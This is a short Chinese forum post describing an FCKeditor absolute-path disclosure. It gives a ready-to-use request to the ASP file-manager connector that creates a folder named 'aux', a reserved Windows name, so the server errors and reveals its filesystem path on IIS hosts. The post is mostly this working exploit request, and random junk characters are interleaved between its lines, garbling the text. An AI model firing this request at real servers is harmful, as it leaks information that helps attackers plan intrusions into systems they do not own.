最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

1 U/ S3 R, w+ u( I  Y. d9 V+ `
# U$ C2 l: ?/ }, F4 W9 G版本未测试。。。
6 r4 K* |0 L* k! E$ Q) b
) Z4 b/ i; p, W原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
1 Z' L# c5 Z' W' E4 E
4 i, l* x+ V# e) a
# z. h1 i' B5 V( S听说IIS都可以。。
+ t: @! b3 b8 C" ^  \; ?